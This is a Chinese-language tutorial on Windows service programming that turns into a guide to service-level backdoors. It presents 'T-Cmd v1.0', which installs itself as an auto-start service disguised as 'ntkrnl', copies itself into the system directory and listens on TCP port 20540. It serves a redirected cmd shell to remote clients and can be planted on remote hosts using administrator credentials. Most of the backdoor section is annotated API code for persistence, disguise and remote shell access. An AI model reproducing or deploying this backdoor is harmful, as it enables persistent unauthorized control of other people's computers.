三、Windows服務與編程
Windows服務編程包括幾方面的內容,下面我們將從服務控制程序,服務程序和服務配置程序的角度介紹服務編程相關的內容。
1.服務控制程序
執行服務控制程序的相關函數前,我們需要獲得一個服務對象的句柄,方式有兩種:由OpenSCManager來獲得一臺特定主機的服務控制管理器數據庫的句柄;使用OpenService或CreateService函數來獲得某個服務對象的句柄。
啟動服務:要啟動一個服務,服務控制程序可以使用StartService來實現。如果服務控制管理器數據庫被鎖定,那需要等待一定的時間然后再次測試
StartService函數。當然也可以使用QueryServiceLockStatus函數來確認數據庫的當前狀態。在啟動成功完成時,那么
dwCurrentState參數將會返回SERVICE_RUNNING值。
服務控制請求:服務控制程序使用
ControlService函數來發送控制請求到正在運行的服務程序。它會向控制句柄函數發送一個特定的控制命令,可以是系統默認的,也可以是用戶自定
義的。而且每個服務都會確定自己將會接收的控制命令列表。使用QueryServiceStatus函數時,在返回的
dwControlsAccepted參數中表明服務程序將會接收的控制命令。所有的服務都會接受
SERVICE_CONTROL_INTERROGATE命令。
2.服務程序
一個服務程序內可以包含一個服務或多個服務的執行代碼,但是它們都擁有固定的三個部分:服務main函數,服務ServiceMain函數和服務Control Handler函數。
服務main函數:服務程序通常是以控制臺的方式存在的,所以它們的入口點都是main函數。在服務控制管理器開始一個服務程序時,會等待
StartServiceCtrlDispatcher函數的執行。如果服務類型是SERVICE_WIN32_OWN_PROCESS就會立即調用
StartServiceCtrlDispatcher函數的執行;如果服務類型是SERVICE_WIN32_SHARE_PROCESS,通常在初始
化所有服務之后再調用它。StartServiceCtrlDispatcher函數的參數就是一個SERVICE_TABLE_ENTRY結構,它包含
了進程內所有服務的名稱和服務入口點。
服務ServiceMain函數:函數ServiceMain是服務的入口點。在服務控制程
序請求一個新的服務啟動時,服務控制管理器啟動一個服務,并發送一個開始請求到控制調度程序,而后控制調度程序創建一個新線程來執行
ServiceMain函數。ServiceMain須執行以下的任務:調用RegisterServiceCtrlHandler函數注冊一個
HandlerEx函數來向服務發送控制請求信息,返回值是服務狀態句柄用來向服務控制管理器傳送服務狀態。初始化后調用
SetServiceStatus函數設置服務狀態為SERVICE_RUNNING。最后,就是執行服務所要完成的任務。
服務
Control Handler函數:每個服務都有一個控制句柄HandlerEx函數。它會在服務進程從服務控制程序接收到一個控制請求時被控制調度程
序所調用。無論何時在HandlerEx函數被調用時,都要調用SetServiceStatus函數向服務控制管理器報告它當前的狀態。在用戶關閉系統
時,所有的控制句柄都會調用帶有SERVICE_ACCEPT_SHUTDOW控制代碼的SetServiceStatus函數來接收
NSERVICE_CONTROL_SHUTDOWN控制代碼。
3.服務配置程序
服務配置程序可以更改或查詢服務的當前配置信息。在調用服務配置函數之前,必須獲得一個服務對象的句柄,當然我們可以通過調用OpenSCManager,OpenService或CreateService函數來獲得。
創建,刪除服務:服務配置程序使用CreateService函數在服務控制管理器的數據庫中安裝一個新服務,它會提供服務的名稱和相關的配置信息并存儲在數據庫中。服務配置程序則使用DeleteService函數從數據庫中刪除一個已經安裝的服務。
四、服務級后門技術
在你進入某個系統后,往往會為自己留下一個或多個后門,以便今后的訪問。在上傳一個后門程序到遠程系統上后系統重啟之時,總是希望后門仍然存在。那么,
將后門程序創建成服務程序應該是個不錯的想法,這就是利用了服務程序自動運行的機制,當然在Windows2000的任務管理器里也很難結束一個服務程序
的進程。
創建一個后門,它常常會在一個端口監聽,以方便我們使用TCP/UDP協議與遠程主機建立連接,所以我們首先需要在后門程序里創建一個監聽的端口,為了數據傳輸的穩定與安全,我們可以使用TCP協議。
那么,我們如何才能模擬一個Telnet服務似的后門呢?我想大家都清楚,如果在遠程主機上有一個Cmd是我們可以控制的,也就是我們可以在這個Cmd
里執行命令,那么就可以實現對遠程主機的控制了,至少可以執行各種常規的系統命令。啟動一個Cmd程序的方法很多,有WinExec,
ShellExecute,CreateProcess等,但只能使用CreateProcess,因為WinExec和ShellExecute它們實
在太簡單了。在使用CreateProcess時,要用到它的重定向標準輸入/輸出的選項功能,把在本地主機的輸入重定向輸入到遠程主機的Cmd進程,并
且把遠程主機Cmd進程的標準輸出重定向到本地主機的標準輸出。這就需要在后門程序里使用CreatePipe創建兩個管道來實現進程間的數據通信
(Inter-Process Communication,IPC)。當然,還必須將遠程主機上Cmd的標準輸入和輸出在本地主機之間進行傳送,我們選
擇TCP協議的send和recv函數。在客戶結束訪問后,還要調用TerminateProcess來結束創建的Cmd進程。
五、關鍵函數分析
本文相關程序T-Cmd v1.0是一個服務級的后門程序,適用平臺為Windows2000/XP。它可自動為遠程/本地主機創建服務級后門,無須使用任何額外的命令,支持本地/遠程模式。重啟后,程序仍然自動運行,監聽端口20540/tcp。
1.自定義數據結構與函數
typedef struct
{
HANDLE hPipe;
//為實現進程間通信而使用的管道;
SOCKET sClient;
//與客戶端進行通信時的客戶端套接字;
}SESSIONDATA,*PSESSIONDATA;
//重定向Cmd標準輸入/輸出時使用的數據結構;
typedef struct PROCESSDATA
{
HANDLE hProcess;
//創建Cmd進程時獲得的進程句柄;
DWORD dwProcessId;
//創建Cmd進程時獲得的進程標識符;
struct PROCESSDATA *next;
//指向下一個數據結構的指針;
}PROCESSDATA,*PPROCESSDATA;
//在客戶結束訪問或刪除服務時為關閉所以的Cmd進程而創建的數據結構;
void WINAPI CmdStart(DWORD,LPTSTR *);
//服務程序中的“ServiceMain”:注冊服務控制句柄,創建服務主線程;
void WINAPI CmdControl(DWORD);
//服務程序中的“HandlerEx”:處理接收到的控制命令,刪除已創建的Cmd進程;
DWORD WINAPI CmdService(LPVOID);
//服務主線程,創建服務監聽端口,在接受客戶連接時,創建重定向Cmd標準輸入/輸出線程;
DWORD WINAPI CmdShell(LPVOID);
//創建管道與Cmd進程,及Cmd的輸入/輸出線程;
DWORD WINAPI ReadShell(LPVOID);
//重定向Cmd的輸出,讀取信息后發送到客戶端;
DWORD WINAPI WriteShell(LPVOID);
//重定向Cmd的輸入,接收客戶端的信息輸入到Cmd進程;
BOOL ConnectRemote(BOOL,char *,char *,char *);
//如果選擇遠程模式,則須與遠程主機建立連接,注須提供管理員權限的用戶名與密碼,密碼為空時用"NULL"代替;
void InstallCmdService(char *);
//復制傳送文件,打開服務控制管理器,創建或打開服務程序;
void RemoveCmdService(char *);
//刪除文件,停止服務后,卸載服務程序;
2.服務程序相關函數
SERVICE_TABLE_ENTRY DispatchTable[] =
{
{"ntkrnl",CmdStart},
//服務程序的名稱和入口點;
{NULL ,NULL }
//SERVICE_TABLE_ENTRY結構必須以“NULL”結束;
};
StartServiceCtrlDispatcher(DispatchTable);
//連接服務控制管理器,開始控制調度程序線程;
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl);
//注冊CmdControl函數為“HandlerEx”函數,并初始化;
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(ServiceStatusHandle,&ServiceStatus);
//設置服務的當前狀態為SERVICE_RUNNING;
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL);
//創建服務主線程,實現后門功能;
WaitForSingleObject(hMutex,INFINITE);
//等待互斥量,控制全局變量的同步使用;
TerminateProcess(lpProcessDataHead->hProcess,1);
//終止創建的Cmd進程;
hSearch=FindFirstFile(lpImagePath,&FileData);
//查找系統目錄下服務程序的文件是否已經存在;
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
//獲得當前進程的程序文件名;
CopyFile(lpCurrentPath,lpImagePath,FALSE);
//復制文件到系統目錄下;
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
//打開服務控制管理器數據庫;
CreateService(schSCManager,"ntkrnl","ntkrnl",
SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,
"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
//創建服務,參數包括名稱,服務類型,開始類型,錯誤類型及文件路徑等;
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
//如果服務已經創建,則打開服務;
StartService(schService,0,NULL);
//啟動服務進程;
ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus);
//控制服務狀態;
DeleteService(schService);
//卸載服務程序;
DeleteFile(lpImagePath);
//刪除文件;
3.后門程序相關函數
hMutex=CreateMutex(NULL,FALSE,NULL);
//創建互斥量;
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL);
//創建處理客戶端訪問的重定向輸入輸出線程;
CreatePipe(&hReadPipe,&hReadShell,&saPipe,0);
CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0);
//創建用于進程間通信的輸入/輸出管道;
CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo);
//創建經重定向輸入輸出的Cmd進程;
hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId);
hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId);
//創建處理Cmd輸入輸出的線程;
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE);
//等待線程或進程的結束;
ReleaseMutex(hMutex);
//釋放互斥量;
PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL);
//從管道中復制數據到緩沖區中,但不從管道中移出;
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL);
//從管道中復制數據到緩沖區中;
WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL);
//向管道中寫入從客戶端接收到的數據;
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE);
//與遠程主機建立連接;
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE);
//與遠程主機結束連接;